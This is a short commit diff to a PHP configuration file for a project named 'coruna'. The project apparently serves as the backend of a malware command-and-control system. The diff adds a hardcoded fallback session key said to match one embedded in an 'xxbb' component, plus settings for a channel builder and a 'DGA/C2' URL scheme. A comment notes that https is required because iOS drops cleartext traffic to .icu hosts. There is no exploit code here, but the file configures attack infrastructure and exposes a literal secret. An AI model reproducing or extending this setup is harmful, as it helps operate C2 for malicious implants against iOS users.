feat: xxbb

config/coruna.php

@@ -13,6 +13,10 @@ $agentHosts = $parseDomains((string) env('CORUNA_AGENT_HOSTS', ''));
 
 return [
     'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
+    'xxbb' => [
+        // Hardcoded in xxbb type-0x01 / core; not the lab derived 7@Lb… key.
+        'session_key' => env('XXBB_SESSION_KEY', 'Ek8pl31K2yeHgQwy'),
+    ],
     'channel_domains' => $channelDomains,
     'deployment_domains' => $channelDomains,
     'reporting_domains' => $reportingDomains,
@@ -36,6 +40,15 @@ return [
         ),
         'timeout' => (float) env('CORUNA_CHANNEL_BUILDER_TIMEOUT', 600),
     ],
+    'channel_builder_new' => [
+        'python' => (string) env('CORUNA_CHANNEL_BUILDER_NEW_PYTHON', ''),
+        'state_root' => (string) env(
+            'CORUNA_CHANNEL_NEW_STATE_ROOT',
+            storage_path('app/channel-builder-new')
+        ),
+        // Native DGA/C2 URL scheme. Keep https: iOS ATS drops cleartext http:// to .icu hosts.
+        'c2_scheme' => env('CORUNA_XXBB_C2_SCHEME', 'https'),
+    ],
     'channels' => [
         // Max channel links per agent user (0 = official is unlimited). Overridable via settings.
         'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5),